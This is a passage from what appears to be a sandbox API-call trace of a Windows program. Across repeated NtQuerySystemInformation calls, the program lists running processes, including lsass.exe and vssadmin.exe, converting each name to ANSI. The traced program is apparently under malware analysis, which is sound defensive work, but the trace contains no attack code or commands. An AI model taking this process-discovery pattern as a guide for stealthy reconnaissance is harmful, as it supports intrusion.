returned 0x3161da8 [0067.078] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.078] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0067.078] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.079] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0067.079] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0067.079] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0067.079] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0067.079] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e08 [0067.079] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.079] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0067.079] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0067.079] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e50 [0067.079] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0067.079] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171430 [0067.079] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0067.079] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x3168948 [0067.079] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0067.079] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0067.079] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0067.079] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x31713f0 [0067.079] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0067.079] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171310 [0067.079] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0067.079] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161da8 [0067.079] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0067.079] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x3171330 [0067.079] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0067.080] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0067.080] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0067.080] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161da8 [0067.080] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0067.080] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e38 [0067.080] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0067.080] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e38 [0067.080] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0067.080] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e20 [0067.080] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0067.080] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171310 [0067.080] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0067.080] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x3171310 [0067.080] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0067.080] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e38 [0067.080] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0067.080] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x31688a8 [0067.080] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0067.080] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e50 [0067.080] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0067.080] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171310 [0067.081] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0067.081] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31623b0 [0067.081] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0067.081] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x31713f0 [0067.081] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0067.081] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0067.081] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0067.081] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e50 [0067.081] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0067.081] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0067.081] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0067.081] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0067.081] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0067.081] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161da8 [0067.082] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0067.082] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175b18 [0067.082] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0067.082] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171510 [0067.082] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0067.082] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x31713d0 [0067.082] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0067.082] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171310 [0067.082] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0067.082] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dc0 [0067.082] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0067.082] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x31688a8 [0067.082] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0067.082] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0067.082] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0067.082] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0067.082] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0067.083] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0067.083] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.083] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0067.083] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0067.083] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171510 [0067.083] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0067.083] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0067.083] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0067.083] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0067.083] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0067.083] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0067.083] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0067.083] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e38 [0067.083] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0067.083] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0067.083] Sleep (dwMilliseconds=0x64) [0069.226] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0069.226] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.227] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0069.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.227] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0069.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.227] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0069.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.228] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0069.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.228] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0069.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.228] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0069.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.228] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0069.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.229] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0069.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.229] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0069.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.229] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0069.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.230] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0069.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.230] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0069.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.230] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0069.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.231] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0069.231] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.231] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0069.231] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.232] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0069.232] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.232] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0069.232] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.232] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0069.232] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.233] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0069.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.233] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0069.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.234] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0069.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.234] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0069.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.235] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0069.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.235] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0069.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.236] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0069.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.236] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0069.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.237] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0069.237] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.237] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1d414) returned 0x3177e48 [0069.237] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0069.238] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1e438) returned 0x3177e48 [0069.238] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0069.238] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0069.238] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175a38 [0069.238] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0069.238] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161e50 [0069.238] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0069.238] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e20 [0069.238] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0069.239] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0069.239] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0069.239] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0069.239] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0069.239] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0069.239] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0069.239] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161da8 [0069.239] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0069.239] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e50 [0069.239] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.239] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0069.239] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0069.239] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e20 [0069.239] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0069.239] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e08 [0069.239] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.239] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0069.239] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0069.239] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175c98 [0069.239] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.239] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0069.239] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.239] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0069.239] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.239] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0069.240] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.240] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0069.240] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.240] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0069.240] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.240] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0069.240] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.240] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0069.240] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.240] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0069.240] RtlUnicodeStringToAnsiString (in: 